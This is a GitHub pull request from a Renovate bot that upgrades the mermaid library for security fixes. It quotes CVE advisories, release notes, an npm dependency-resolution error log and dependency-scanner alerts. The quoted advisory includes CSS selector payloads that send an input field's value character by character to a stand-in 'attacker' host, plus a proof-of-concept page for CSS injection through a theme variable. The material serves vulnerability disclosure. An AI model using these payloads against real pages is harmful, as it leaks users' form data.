Skip to content

fix(deps): update dependency mermaid to v9 [security]#671

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-mermaid-vulnerability
Open

fix(deps): update dependency mermaid to v9 [security]#671
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-mermaid-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 6, 2024 •
edited
Loading

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
mermaid 8.5.0 → 9.1.2 age confidence

GitHub Vulnerability Alerts

CVE-2021-43861

Impact

Malicious diagrams can contain javascript code that can be run at diagram readers machines.

Patches

The users should upgrade to version 8.13.8

Workarounds

You need to upgrade in order to avoid this issue.

CVE-2021-35513

Mermaid before 8.11.0 allows XSS when the antiscript feature is used.

CVE-2022-31108

An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.

The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.

input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

Product

mermaid.js

Tested Version

v9.1.1

Details

Issue 1: Multiple CSS Injection (GHSL-2022-036)

By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.

Snippet from src/styles.js:

const getStyles = (type, userStyles, options) => {
  return ` {
    font-family: ${options.fontFamily};
    font-size: ${options.fontSize};
    fill: ${options.textColor}
  }

For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.

<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>

In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:

Impact

This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.

Remediation

Ensure that user input is adequately escaped before embedding it in CSS blocks.

Release Notes

mermaid-js/mermaid (mermaid)

v9.1.2

Compare Source

Release Notes

🚀 Features

Bug Fixes & Cleanup

Documentation

Dependecy updates

🎉 Thanks to all contributors helping with this release! 🎉

v9.1.1

Compare Source

Release Notes

🎉 Thanks to all contributors helping with this release! 🎉

v9.1.0

Compare Source

Release Notes

🚀 Features

Documentation

Dependecy updates

🎉 Thanks to all contributors helping with this release! 🎉

v9.0.1

Compare Source

Release Notes

🐛 Bug Fixes

  • Removal of vulnerability (#​2958) @​knsv
  • Fix broken re-rendering of gitGraph in Mermaid Live Editor

🎉 Thanks to all contributors helping with this release! 🎉

v9.0.0

Compare Source

Release Notes

Main feature

Moving the gitGraph from experimental alpha status to a fully supported diagram type which handles theming and directives. The grammar has changed slightly from the alpha version, and no longer supports reset operations and some internal fast-forwarding has been removed for simplicity. Some few GitGraphs based on the alpha version might break with the update. This is the reason for the major version number update.

We now support:

  • Commit types
  • Multiple branches in sperate lanes
  • Theming

Other changes:

Documentation updates

Dependency updates

🎉 Thanks to all contributors helping with this release! 🎉

v8.14.0

Compare Source

Release Notes

Main feature

  • Adding new more secure security level 'sandbox' where all rendering happens in a sandboxed iframe. The returned element in this mode is also an iframe with the svg as a base64 encoded url. (#​2654)

Documentation updates

Dependecy updates

🎉 Thanks to all contributors helping with this release! 🎉

v8.13.10

Compare Source

Release Notes

🎉 Thanks to all contributors helping with this release! 🎉

v8.13.9

Compare Source

Release Notes

Changes to the functionality

Documentation changes

Dependency updates

@renovate
Copy link
Contributor Author

renovate bot commented Aug 6, 2024 •
edited
Loading

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: web/package-lock.json
npm warn Unknown env config "store". This will stop working in the next major version of npm.
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: @jimp/plugin-threshold@0.10.3
npm warn Found: @jimp/plugin-color@0.6.8
npm warn node_modules/@jimp/plugin-color
npm warn   @jimp/plugin-color@"^0.6.8" from @jimp/plugins@0.6.8
npm warn   node_modules/@jimp/plugins
npm warn     @jimp/plugins@"^0.6.8" from jimp@0.6.8
npm warn     node_modules/jimp
npm warn
npm warn Could not resolve dependency:
npm warn peer @jimp/plugin-color@">=0.8.0" from @jimp/plugin-threshold@0.10.3
npm warn node_modules/@jimp/plugin-threshold
npm warn   @jimp/plugin-threshold@"^0.10.3" from @jimp/plugins@0.10.3
npm warn   node_modules/potrace/node_modules/@jimp/plugins
npm warn
npm warn Conflicting peer dependency: @jimp/plugin-color@1.6.0
npm warn node_modules/@jimp/plugin-color
npm warn   peer @jimp/plugin-color@">=0.8.0" from @jimp/plugin-threshold@0.10.3
npm warn   node_modules/@jimp/plugin-threshold
npm warn     @jimp/plugin-threshold@"^0.10.3" from @jimp/plugins@0.10.3
npm warn     node_modules/potrace/node_modules/@jimp/plugins
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: @jimp/plugin-threshold@0.10.3
npm warn Found: @jimp/plugin-resize@0.6.8
npm warn node_modules/@jimp/plugin-resize
npm warn   peer @jimp/plugin-resize@">=0.3.5" from @jimp/plugin-contain@0.6.8
npm warn   node_modules/@jimp/plugin-contain
npm warn     @jimp/plugin-contain@"^0.6.8" from @jimp/plugins@0.6.8
npm warn     node_modules/@jimp/plugins
npm warn   5 more (@jimp/plugin-cover, @jimp/plugin-rotate, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @jimp/plugin-resize@">=0.8.0" from @jimp/plugin-threshold@0.10.3
npm warn node_modules/@jimp/plugin-threshold
npm warn   @jimp/plugin-threshold@"^0.10.3" from @jimp/plugins@0.10.3
npm warn   node_modules/potrace/node_modules/@jimp/plugins
npm warn
npm warn Conflicting peer dependency: @jimp/plugin-resize@1.6.0
npm warn node_modules/@jimp/plugin-resize
npm warn   peer @jimp/plugin-resize@">=0.8.0" from @jimp/plugin-threshold@0.10.3
npm warn   node_modules/@jimp/plugin-threshold
npm warn     @jimp/plugin-threshold@"^0.10.3" from @jimp/plugins@0.10.3
npm warn     node_modules/potrace/node_modules/@jimp/plugins
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: eslint-watch@7.0.0
npm error Found: eslint@8.2.0
npm error node_modules/eslint
npm error   dev eslint@"8.2.0" from the root project
npm error   peer eslint@">= 4.12.1" from babel-eslint@10.1.0
npm error   node_modules/babel-eslint
npm error     dev babel-eslint@"10.1.0" from the root project
npm error   10 more (eslint-config-airbnb, eslint-config-airbnb-base, ...)
npm error
npm error Could not resolve dependency:
npm error peer eslint@">=7 <8.0.0" from eslint-watch@7.0.0
npm error node_modules/eslint-watch
npm error   dev eslint-watch@"7.0.0" from the root project
npm error
npm error Conflicting peer dependency: eslint@7.32.0
npm error node_modules/eslint
npm error   peer eslint@">=7 <8.0.0" from eslint-watch@7.0.0
npm error   node_modules/eslint-watch
npm error     dev eslint-watch@"7.0.0" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-02-02T18_54_48_137Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-02-02T18_54_48_137Z-debug-0.log

@renovate renovate bot requested a review from moul as a code owner August 6, 2024 10:45
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from 3547410 to 8b583e0 Compare August 13, 2025 23:34
@renovate renovate bot changed the title fix(deps): update dependency mermaid to v9 [security] fix(deps): update dependency mermaid to v10 [security] Aug 13, 2025
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from 8b583e0 to 6248493 Compare September 26, 2025 07:05
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from 6248493 to f5ab9e5 Compare October 16, 2025 03:53
@renovate renovate bot changed the title fix(deps): update dependency mermaid to v10 [security] fix(deps): update dependency mermaid to v9 [security] Oct 16, 2025
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from f5ab9e5 to df6a0b5 Compare October 23, 2025 06:58
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from df6a0b5 to c903d7c Compare November 11, 2025 00:11
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from c903d7c to aa051c9 Compare November 19, 2025 03:48
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from aa051c9 to 1e9b835 Compare December 4, 2025 19:48
@socket-security
Copy link

socket-security bot commented Dec 4, 2025 •
edited
Loading

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security		 Vulnerability Quality Maintenance License
Updatednpm/​mermaid@​8.5.0 ⏵ 9.1.299 +285 +9100 +196 +2100

View full report

@socket-security
Copy link

socket-security bot commented Dec 4, 2025 •
edited
Loading

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

Action Severity Alert  (click "▶" to expand/collapse)
Warn Critical
Critical CVE: DOMPurify vulnerable to tampering by prototype polution

CVE: GHSA-p3vf-v8qc-cwcr DOMPurify vulnerable to tampering by prototype polution (CRITICAL)

Affected versions: < 2.4.2

Patched version: 2.4.2

From: ? → npm/mermaid@9.1.2 → npm/dompurify@2.3.8

ℹ Read more on: This package | This alert | What is a critical CVE?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Remove or replace dependencies that include known critical CVEs. Consumers can use dependency overrides or npm audit fix --force to remove vulnerable dependencies.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/dompurify@2.3.8. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from 1e9b835 to 122d544 Compare January 1, 2026 00:16
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from 122d544 to 231bd87 Compare January 9, 2026 12:03
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from 231bd87 to af3de01 Compare January 19, 2026 15:27
@renovate renovate bot force-pushed the renovate/npm-mermaid-vulnerability branch from af3de01 to ceda6dd Compare February 2, 2026 18:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@moul moul Awaiting requested review from moul moul is a code owner

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants